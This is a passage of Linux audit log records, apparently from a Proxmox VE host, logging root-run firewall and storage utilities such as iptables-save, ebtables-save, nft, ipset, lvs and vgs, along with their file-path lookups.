comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=PATH msg=audit(1781966185.349:68789): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.909:65635): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964704986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964704.986:62223): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5240 a1=64f8d73b3400 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=PATH msg=audit(1781966185.349:68789): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.904:65634): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964704952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964704.952:62222): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7140 a1=64f8d741baf0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=PATH msg=audit(1781966185.349:68789): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.896:65633): proctitle=\"ip6tables-save\""} {"@timestamp":1781964700336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.336:62221): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185342,"@rawstring":"node=pve type=PATH msg=audit(1781966185.342:68788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.888:65632): proctitle=\"iptables-save\""} {"@timestamp":1781964700328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.328:62218): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185342,"@rawstring":"node=pve type=PATH msg=audit(1781966185.342:68788): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.882:65631): proctitle=69707365740073617665"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964699.877:62215): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7253b60 a2=637ee7240ef0 a3=8 items=2 ppid=59669 pid=59671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185334,"@rawstring":"node=pve type=PATH msg=audit(1781966185.334:68787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.870:65630): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964699877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964699.877:62214): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253500 a1=637ee7254860 a2=637ee7240ef0 a3=8 items=2 ppid=59669 pid=59670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185334,"@rawstring":"node=pve type=PATH msg=audit(1781966185.334:68787): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965445858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965445.858:65629): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964699876,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964699.876:62213): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242e40 a1=637ee7252000 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=59668 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185327,"@rawstring":"node=pve type=PATH msg=audit(1781966185.327:68786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965444460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965444.460:65628): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964695560,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.560:62212): arch=c000003e syscall=59 success=yes exit=0 a0=611d771fce90 a1=611d771f9c10 a2=611d771db680 a3=5 items=2 ppid=59661 pid=59667 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185327,"@rawstring":"node=pve type=PATH msg=audit(1781966185.327:68786): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965444432,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965444.432:65627): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964695557,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.557:62211): arch=c000003e syscall=59 success=yes exit=0 a0=611d462c8ac8 a1=7ffe815ba580 a2=611d771db680 a3=611d462ac24e items=2 ppid=59661 pid=59663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185319,"@rawstring":"node=pve type=PATH msg=audit(1781966185.319:68785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.016:65626): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.556:62210): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe815ba540 a1=611d771e2310 a2=611d771db680 a3=5 items=2 ppid=59661 pid=59662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185319,"@rawstring":"node=pve type=PATH msg=audit(1781966185.319:68785): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.016:65625): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.552:62208): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185310,"@rawstring":"node=pve type=PATH msg=audit(1781966185.310:68784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.016:65624): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.546:62207): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185310,"@rawstring":"node=pve type=PATH msg=audit(1781966185.310:68784): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.008:65623): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.540:62206): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185055,"@rawstring":"node=pve type=PATH msg=audit(1781966185.055:68783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.008:65622): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.534:62205): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185055,"@rawstring":"node=pve type=PATH msg=audit(1781966185.055:68783): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965443008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965443.008:65621): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.528:62204): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185029,"@rawstring":"node=pve type=PATH msg=audit(1781966185.029:68782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.999:65620): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.525:62203): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=612b4d182740 items=0 ppid=1156 pid=59656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966185029,"@rawstring":"node=pve type=PATH msg=audit(1781966185.029:68782): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.999:65619): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.523:62202): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13ba80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PATH msg=audit(1781966180.715:68781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.999:65618): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.518:62201): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ae50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PATH msg=audit(1781966180.715:68781): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.992:65617): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.513:62200): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ec9f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PATH msg=audit(1781966180.715:68780): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.992:65616): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.508:62199): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PATH msg=audit(1781966180.715:68779): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965437992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965437.992:65615): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964695501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.501:62198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PATH msg=audit(1781966180.706:68778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.845:65614): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964695496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.496:62197): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PATH msg=audit(1781966180.706:68778): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.839:65613): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964695488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.488:62196): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PATH msg=audit(1781966180.706:68777): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.839:65612): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964695476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.476:62195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ee2f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PATH msg=audit(1781966180.706:68776): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.839:65611): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964695472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.472:62194): arch=c000003e syscall=59 success=yes exit=0 a0=5ce08b6bb0e0 a1=5ce08b6b7e60 a2=5ce08b699680 a3=5 items=2 ppid=59642 pid=59648 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PATH msg=audit(1781966175.697:68775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.833:65610): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964695469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.469:62193): arch=c000003e syscall=59 success=yes exit=0 a0=5ce07c3eaac8 a1=7ffe69d1e820 a2=5ce08b699680 a3=5ce07c3ce24e items=2 ppid=59642 pid=59644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PATH msg=audit(1781966175.697:68775): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.827:65609): proctitle=\"ip6tables-save\""} {"@timestamp":1781964695468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.468:62192): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe69d1e7e0 a1=5ce08b6a0310 a2=5ce08b699680 a3=5 items=2 ppid=59642 pid=59643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PATH msg=audit(1781966175.697:68774): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.820:65608): proctitle=\"iptables-save\""} {"@timestamp":1781964695464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.464:62190): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PATH msg=audit(1781966175.697:68773): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.811:65607): proctitle=\"ip6tables-save\""} {"@timestamp":1781964695458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.458:62189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PATH msg=audit(1781966175.689:68772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965435803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965435.803:65606): proctitle=\"iptables-save\""} {"@timestamp":1781964695451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.451:62188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PATH 